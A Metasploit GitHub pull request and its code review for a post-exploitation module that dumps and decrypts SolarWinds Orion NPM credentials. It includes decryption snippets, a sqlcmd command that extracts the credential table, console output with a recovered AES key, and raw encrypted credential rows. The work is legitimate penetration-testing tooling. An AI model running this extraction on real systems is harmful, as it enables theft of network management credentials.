Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add solarwinds_orion_dump post module #17278

Merged
merged 6 commits into from
Dec 20, 2022

Conversation

npm-cesium137-io
Copy link
Contributor

Post module for extracting encrypted credentials from SolarWinds Orion NPM, tested on the 2020-2022 versions of the product in various configurations. This is basically an MSF/Ruby port of the C# utility SolarFlare:

This should work on an out-of-box install of SolarWinds Orion with embedded SQL, but YMMV on instances where Orion is configured to use an external SQL server. The module requires sqlcmd to be available on the system to do data extraction, which may not be installed depending on the Orion deployment type - in those cases the module can take properly formatted CSV output acquired out-of-band and perform decryption that way. I tried to stick with the conventions picked up so far through various PRs to (hopefully) minimize everybody's review effort.

Post module for extracting encrypted credentials from SolarWinds Orion
NPM. Tested on the 2020 version.
Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @npm-cesium137-io for this great module! I left a few comments and suggestions for you to review when you get a chance.

Particularly, I noticed a common pattern in the module methods: it returns a boolean false on error whereas the method is expected to return a string or something else. It is recommended to use custom exceptions (generic or specific exceptions defined in the module itself) and properly handle them in the callers. This way, you don't need to print_error the cause of the error and return false, but just raise an exception with the appropriate message. The caller just need to handle the exception and call fail_with with the exception error message.

@@ -0,0 +1,263 @@
This module exports and decrypts credentials from SolarWindows Orion Network Performance Monitor
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please, would you mind addressing the issue reported by msftidy_docs.rb ?

ruby tools/dev/msftidy_docs.rb documentation/modules/post/windows/gather/credentials/solarwinds_orion_dump.md

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I did not even know this was a thing, will do. This will be cleaned up in the next commit, and I will be sure to invoke the same before a PR in the future. I get [INFO] Missing Section: ## Options as the only finding now, but assume that is permissible.

of the source code and technical information published by Djordje Atlialp and
Atredis Partners.
},
'Author' => 'npm[at]cesium137.io',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think it's good idea to also credit the authors of the original research and tools.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fair enough, will update!

end

def init_module
@orion_hostname = get_env('COMPUTERNAME')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Apparently, @orion_hostname is only used locally in this method. Would you mind make this variable local instead of an instance variable?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks like you're correct. That's a holdover from the module I copied from. I will correct this.

if require_sql
# TODO: Orion does not install SSMS / sqlcmd by default if it is using an external SQL server.
# Even when sqlcmd is available we have to do hideous things; MSSQL client functionality built
# into Exploit does not extend to Post, and trying to mix it in makes weird errors.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please, can you submit an issue with all the details for this? This looks like something that should be fixed.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I will do that, certainly. Just for the record here, add include Msf::Exploit::Remote::MSSQL to the module, and you will get undefined method 'register_autofilter_ports'. I got past that by doing

  def register_autofilter_ports(arg = {})
  end

Trying to load that will get you undefined method 'register_autofilter_services', which can be corrected the same way. This at least lets the module load, though I didn't take it further than that since I knew I'd get a bloody lip trying to pass that off in a PR. This approach also has significant problems, namely that the source address becomes the MSF console itself, and the local Meterpreter session. That's great if sqlcmd doesn't exist on the local system, not so good if the local system is using Express and/or has TCP/IP access explicitly turned off or blocked.

print_error('Provided AES key is not valid 256-bit / 64-byte hexidecimal data')
return false
end
@orion_aes_key_hex = datastore['AES_KEY']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
@orion_aes_key_hex = datastore['AES_KEY']
orion_aes_key_hex = datastore['AES_KEY']

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Will update. Also occurs to me I should probably record the AES key in creds.

Comment on lines 418 to 422
if datastore['AES_KEY']
unless datastore['AES_KEY'].match?(/^[0-9a-f]+$/i) && datastore['AES_KEY'].length == 64
print_error('Provided AES key is not valid 256-bit / 64-byte hexidecimal data')
return false
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Option validations should be done early, ideally, the first thing to do in the exploit method. This would avoid executing unnecessary commands on the target and failing afterwards because an option is not valid.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I usually do a whole validate_options method, even, just neglected to here. Easy to implement, will do this.

Comment on lines 433 to 434
key_hex_encrypted = orion_enc_conf_bytes[8..key_len + 8].unpack('H*').first.to_s.upcase
orion_enc_conf_b64 = ::Base64.strict_encode64([key_hex_encrypted].pack('H*'))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Unless I'm missing something, it looks like calling unpack and then pack is not necessary here. Is there any reason for this?

Suggested change
key_hex_encrypted = orion_enc_conf_bytes[8..key_len + 8].unpack('H*').first.to_s.upcase
orion_enc_conf_b64 = ::Base64.strict_encode64([key_hex_encrypted].pack('H*'))
key_hex_encrypted = orion_enc_conf_bytes[8..key_len + 8]
orion_enc_conf_b64 = ::Base64.strict_encode64(key_hex_encrypted)

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

In fact you are not. Artifacts from the early prototypes I failed to strip out. I will fix this

Comment on lines 540 to 546
loop do
next_char = plaintext_conf[working_offset, 1]
break if next_char == "\n"

working_bytes << next_char
working_offset += 1
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think index can be used instead of a loop, passing an offset as argument:

plaintext_conf.index("\n", working_offset)

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Works great and looks nicer - thanks

Comment on lines 469 to 470
# Because the db_conf hash was created by split('='), Base64 values will lose their padding if they had any.
# .NET [System.Convert] requires Base64 input to be strictly RFC 4648 compliant, so we must manually pad
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I believe this can be fixed by using split with the limit parameter to keep any ending = in the base64 string:

[19] pry(main)> "param=AgABAgADAAk=".split('=')
=> ["param", "AgABAgADAAk"]
[20] pry(main)> "param=AgABAgADAAk=".split('=', 2)
=> ["param", "AgABAgADAAk="]

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is awesome to know! It kills me how much brilliant stuff is out there hidden.

Made modifications to documentation to add further detail for each
action.

Significant refactor of error handling, now with (hopefully) proper use
of exceptions.

Various suggested code improvements and optimization.

Fixed some redundant and buggy code.
@npm-cesium137-io
Copy link
Contributor Author

@cdelafuente-r7 good morning! I just pushed a commit with some of these requested changes.

@cdelafuente-r7 cdelafuente-r7 self-assigned this Dec 8, 2022
Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @npm-cesium137-io for updating this. I just left a few minor comments for you to review when you get a chance.

Also, during my testing, I had issue to get the expected CSV format to feed the CSV_FILE option. I believe this should be documented somewhere. I also had issue with some fields that had extra spaces characters. For example:

CredentialID        ,Name        , Description.   , etc.

The code in the module parsing the CVS breaks with this kind of CVS. I think some sanitization or better error handling would be helpful:

[*] Process SolarWinds Orion DB ...
[-] Post failed: NoMethodError undefined method `[]' for nil:NilClass
[-] Call stack:
[-]   /home/msfuser/dev/src/metasploit-framework/modules/post/windows/gather/credentials/solarwinds_orion_dump.rb:190:in `block in decrypt_orion_db'
[-]   /home/msfuser/.rvm/rubies/ruby-3.0.2/lib/ruby/3.0.0/csv/table.rb:539:in `each'
[-]   /home/msfuser/.rvm/rubies/ruby-3.0.2/lib/ruby/3.0.0/csv/table.rb:539:in `each'
[-]   /home/msfuser/dev/src/metasploit-framework/modules/post/windows/gather/credentials/solarwinds_orion_dump.rb:181:in `decrypt_orion_db'
[-]   /home/msfuser/dev/src/metasploit-framework/modules/post/windows/gather/credentials/solarwinds_orion_dump.rb:121:in `decrypt'
[-]   /home/msfuser/dev/src/metasploit-framework/modules/post/windows/gather/credentials/solarwinds_orion_dump.rb:103:in `run'
[*] Post module execution completed

## Vulnerable Application

This module exports and decrypts credentials from SolarWindows Orion Network Performance Monitor
to a CSV file; it is intended as a post-exploitation module for Windows hosts with SolarWindows
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for updating the documentation. I noticed SolarWindows is used in many places instead of SolarWinds here and also in the module's Description. Please, would you mine to also update this?

Suggested change
to a CSV file; it is intended as a post-exploitation module for Windows hosts with SolarWindows
to a CSV file; it is intended as a post-exploitation module for Windows hosts with SolarWinds

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

How embarrassing. Should be fixed now.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No problem! I think the module Description section should be updated too:

        'Description' => %q{
          This module exports and decrypts credentials from SolarWindows Orion Network
          Performance Monitor (NPM) to a CSV file; it is intended as a post-exploitation
          module for Windows hosts with SolarWindows Orion NPM installed. The module
          supports decryption of AES-256, RSA, and XMLSEC secrets. Separate actions for
          extraction and decryption of the data are provided to allow session migration
          during execution in order to log in to the SQL database using SSPI. Tested on
          the 2020 version of SolarWinds Orion NPM. This module is possible only because
          of the source code and technical information published by Djordje Atlialp and
          Atredis Partners.
        },

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That damn phrase somehow made it into my custom dictionary, I finally nuked it and this IS the last one. Sorry about that!

of the source code and technical information published by Djordje Atlialp and
Atredis Partners.
},
'Author' => [ 'npm[at]cesium137.io', 'djordje.atlialp@gmail.com', 'https://atredis.com' ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Author section should not contain URL's. We usually use names or handles (Github, Twitter, etc.), you can also add more information in an inline comment:

Suggested change
'Author' => [ 'npm[at]cesium137.io', 'djordje.atlialp@gmail.com', 'https://atredis.com' ],
'Author' => [
'npm[at]cesium137.io', # Metasploit Module
'Djordje Atlialp' # @rhazdon - Original research
],

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Made the update, I will remember this guideline!

Comment on lines 385 to 396
extra_service_data = {
address: ::Rex::Socket.getaddress(rhost),
port: 17777,
service_name: 'sis',
protocol: 'tcp',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: ::Rex::Socket.getaddress(rhost)
}
store_valid_credential(user: 'Orion NPM AES Key', private: orion_aes_key_hex, service_data: extra_service_data)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Since it is a post module, I don't think it makes sense to set the remote service options when storing the encryption key. store_valid_credential takes care of setting all the needed attributes. Also, this helper sets the private_type to :password by default, which is wrong for an encryption key. I suggest to set it to :nonreplayable_hash instead:

Suggested change
extra_service_data = {
address: ::Rex::Socket.getaddress(rhost),
port: 17777,
service_name: 'sis',
protocol: 'tcp',
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
realm_value: ::Rex::Socket.getaddress(rhost)
}
store_valid_credential(user: 'Orion NPM AES Key', private: orion_aes_key_hex, service_data: extra_service_data)
store_valid_credential(user: 'Orion NPM AES Key', private: orion_aes_key_hex, private_type: :nonreplayable_hash)

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I am floored about how much I continue to learn from these reviews, thank you. Did not know this was possible, incorporated this change.

db_instance_path = db_conf['DATA SOURCE']
db_name = db_conf['INITIAL CATALOG']
db_user = db_conf['USER ID']
db_pass_enc = db_conf['ENCRYPTED.PASSWORD']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

On my test environment, I don't have the ENCRYPTED.PASSWORD configuration setting, but just PASSWORD:

[2] pry(#<Msf::Modules::Post__Windows__Gather__Credentials__Solarwinds_orion_dump::MetasploitModule>):1> db_conf
=> {"PROVIDER"=>"SQLNCLI11",
 "PERSIST SECURITY INFO"=>"False",
 "INITIAL CATALOG"=>"SolarWindsOrion",
 "DATA SOURCE"=>"(local)\\SOLARWINDS_ORION",
 "USE PROCEDURE FOR PREPARE"=>"1",
 "AUTO TRANSLATE"=>"True",
 "PACKET SIZE"=>"4096",
 "WORKSTATION ID"=>"MYWS1",
 "TAG WITH COLUMN COLLATION WHEN POSSIBLE"=>"False",
 "USER ID"=>"SolarWindsOrionDatabaseUser",
 "PASSWORD"=>"<redacted>",
 "MAX POOL SIZE"=>"1000\r"}

The module then fails to extract SQL login information without this information. If I understand this correctly, there is no encrypted password but only the cleartext password, which I believe can be used directly here.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Wow, I never considered or encountered that config. I made a single line change that I think should handle this case, if you want to test again?

Fixed humiliating typos in the markdown doc.

Updated the Author section of the module per guidelines.

Changed credential type for AES key loot storage.

Updated database config code to include the case where the SQL password
is not encrypted (needs testing).

Additional tweaks and fixes.
@npm-cesium137-io
Copy link
Contributor Author

@cdelafuente-r7 impeccable timing as I had some time this afternoon to work on personal projects. I've pushed another commit that incorporates your feedback. This PR has been awesomely valuable in terms of picking up neat new tricks and features I didn't know existed, so thank you for spending all the time on this. I am already incorporating these improvements into the other module I'm working on for decrypting Veeam creds!

Would you be willing to share your "bad" CSV file? I cannot reproduce this when I manually add spaces, but whatever is happening in your case is probably not the same deformity.

msf6 post(windows/gather/credentials/solarwinds_orion_dump) > decrypt

[*] Hostname ORION IPv4 192.168.101.111
[*] SolarWinds Orion Build 2020.2.65120.0
[*] Init SolarWinds Crypto ...
[*] Decrypt SolarWinds CryptoHelper Keystorage ...
[+] Compressed size: 2108
[+] Orion AES Encryption Key
[+]     HEX: 2F627B78981DEADE0447CC7BDDEADE4E84FCB96AF1C6DEAD621F28547E93A82
[*] Extract SolarWinds Orion SSL Certificate Private Key ...
[+] Compressed size: 1344
[+] Compressed size: 1748
[+] Extracted SolarWinds Orion RSA private key for LocalMachine certificate with SHA1 thumbprint C3D5248B978C8D161DA0267C1DE946B1FDE4E7D2
[+] SolarWinds Orion RSA Key: /root/.msf4/loot/20221209145742_default_192.168.101.126_orionssl_134935.key
[*] Performing decryption of SolarWinds Orion SQL database
[-] Post aborted due to failure: no-target: Provided CSV file /root/.msf4/loot/20221209143306_default_192.168.101.126_solarwinds_orion_605223.txt contains no CredentialID column values
[*] Post module execution completed
msf6 post(windows/gather/credentials/solarwinds_orion_dump) > head -n2 /root/.msf4/loot/20221209143306_default_192.168.101.126_solarwinds_orion_605223.txt
[*] exec: head -n2 /root/.msf4/loot/20221209143306_default_192.168.101.126_solarwinds_orion_605223.txt

CredentialID    ,Name    ,Description    ,CredentialType    ,CredentialOwner    ,CredentialPropertyName    ,Value    ,Encrypted
1,0x000000000000000000000000000000  ,0x000000000000000000000000000000000000000000000000000000000000000000000000  ,0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  ,0x00000000  ,0x0000000000000000  ,0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,0

@cdelafuente-r7
Copy link
Contributor

Thanks for the updates @npm-cesium137-io! I'm happy to hear the suggestions and comments are helpful.

So, I generated the CVS using sqlcmd on the target. I'm not super familiar with this tool, so, after finding the server and database names, I first ran with this command:

sqlcmd -E -S .\SOLARWINDS_ORION -d SolarWindsOrion -i solarwinds_sql_query.sql -o solarwinds_dump.csv -s","

The solarwinds_sql_query.sql contains the SQL commands taken from the module documentation.

This generates this kind of file, which breaks the module:

CredentialID,Name                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ,Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ,CredentialType                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ,CredentialOwner                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   ,CredentialPropertyName                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ,Value                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           ,Encrypted
------------,----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------,----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------,----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------,----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------,----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------,--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------,---------
           1,0x4100650073004B006500790049005600430072006500640065006E007400690061006C007300                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ,0x41004500530020004B0065007900200061006E006400200049006E0069007400690061006C00690073006100740069006F006E00200056006500630074006F007200                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ,0x536F6C617257696E64732E5345554D2E436F6D6D6F6E2E44617461456E6372797074696F6E2E4165734B6579495643726564656E7469616C73                                                                                                                                                                                                                                                                                                                                                                                                              ,0x5345554D                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ,0x4369706865724B6579                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ,0x3400690074006B004F0059004E0046004B0047004B004D0074007A004500370046004400610064004400560070006600580046004E00460043006B0041004800550079004700490078007800690043003500790030003D00                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ,        0
           1,0x4100650073004B006500790049005600430072006500640065006E007400690061006C007300                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ,0x41004500530020004B0065007900200061006E006400200049006E0069007400690061006C00690073006100740069006F006E00200056006500630074006F007200                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ,0x536F6C617257696E64732E5345554D2E436F6D6D6F6E2E44617461456E6372797074696F6E2E4165734B6579495643726564656E7469616C73                                                                                                                                                                                                                                                                                                                                                                                                              ,0x5345554D                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ,0x496E697469616C697A6174696F6E566563746F72                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ,0x3700520057003300370052007A002F004300500055006C007A005900790079004D004E0045002F006F0077003D003D00                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   